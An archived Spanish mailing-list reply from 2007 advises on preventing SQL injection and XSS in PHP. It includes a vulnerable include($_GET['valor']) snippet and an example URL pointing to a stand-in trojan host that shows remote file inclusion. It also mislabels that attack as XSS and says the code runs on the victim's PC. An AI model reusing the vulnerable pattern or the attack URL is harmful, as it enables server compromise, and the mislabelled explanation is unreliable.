Evitar sql injection y xss

Rodrigo Fuentealba darkprox en gmail.com
Jue Sep 20 15:58:43 CLT 2007


El 20/09/07, Raul Perez <raperez en cwpanama.net> escribió:
> Salud a todos
>
> Tengo mysql 5 y phpp 5 en un servidor con centos
> La pregunta es que codigo han implementado ustedes para
> asegurar sus aplicaciones en php para evitar injection de sql y xss

Para prevenir XSS, simplemente nunca hagas algo como esto:

<?php

   include($_GET['valor']);

?>

Porque con eso yo podría poner una URL como:

http://www.victima.com/index.php?valor=http://www.troyano.com/troyano.txt

Y el código que tenga en troyano.txt se va a ejecutar en tu PC, lo quieras o no.

Una manera de impedir algo así es, en PHP 5, poner lo siguiente en tu
archivo php.ini

allow_url_include = Off

> Intente con mysql real escape string pero no se por que no me funciona
>
> Puedo desarrollar una funcion pero me da temor de que deje algun ueco de
> seguridad

Para prevenir inyecciones SQL, no uses tus propias funciones. Mira
ADOdb (http://adodb.sourceforge.net) y Propel
(http://propel.phpdb.org) que son dos programas que puedes usar dentro
de tus programas para manejar tus bases de datos, que evitan las
inyecciones de código SQL.

A pesar de ser más difícil, a mí me gustó más Propel que ADOdb.

-- 
Rodrigo Fuentealba Cartes
Desarrollador de Sistemas - Consultor UNIX - Database Administrator



Más información sobre la lista de distribución Linux